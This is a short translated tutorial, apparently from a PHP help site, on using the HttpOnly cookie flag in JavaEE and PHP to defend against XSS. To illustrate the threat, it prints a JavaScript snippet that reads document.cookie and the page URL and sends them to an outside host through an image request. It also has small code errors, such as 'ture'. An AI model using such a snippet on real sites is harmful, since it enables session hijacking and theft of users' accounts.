PHP uses httponly to prevent XSS attacks

1. What is HttpOnly?
   
   If you set the HttpOnly attribute in cookie, the cookie information will not be read through the js script. This is effective To prevent XSS attacks, please search on google for a more specific introduction

2. Does the API of javaEE support it?

Currently, Sun has not announced the relevant API, but it has been implemented in PHP and C#. Brothers who are engaged in javaEE are quite depressed, don’t worry, there are workarounds below

3.HttpOnly setting example

javaEE
response.setHeader("Set-Cookie", "cookiename=value;
Path=/;Domain=domainvalue;Max-Age=seconds;HTTPOnly");

This article mainly introduces the use of httponly in php for xss defense To prevent xss attacks, the following is how to set HttpOnly in PHP. Friends who need it can refer to

Needless to say, the concept of xss is extremely harmful, which means that once your website appears XSS vulnerability can execute arbitrary JS code. The most terrifying thing is that attackers use JS to obtain

cookie or session hijack. If it contains a large amount of sensitive information (identity information, management (member information) etc., that’s it. . .

The following js is used to obtain cookie information:

The code is as follows:

url=document.top.location.href;
cookie=document.cookie;
c=new Image();
c.src='http://www.test.com/c.php?c='+cookie+'&u='+url;

Generally cookies are obtained from the document

object, and now the browser is setting Cookies generally accept a parameter called HttpOnly, just like domain and other parameters. Once this HttpOnly is set, you will not see the cookie in the browser's document object.

PHP settings HttpOnly:

//在php.ini中，session.cookie_httponly = ture 来开启全局的Cookie的HttpOnly属性
ini_set("session.cookie_httponly", 1);

//或者setcookie()的第七个参数设置为true
session_set_cookie_params(0, NULL, NULL, NULL, TRUE);

For PHP versions prior to PHP5.1 passed:

header("Set-Cookie: hidden=value; httpOnly");

Finally, HttpOnly is not a panacea!

The above is the detailed content of PHP uses httponly to prevent XSS attacks. For more information, please follow other related articles on the PHP Chinese website!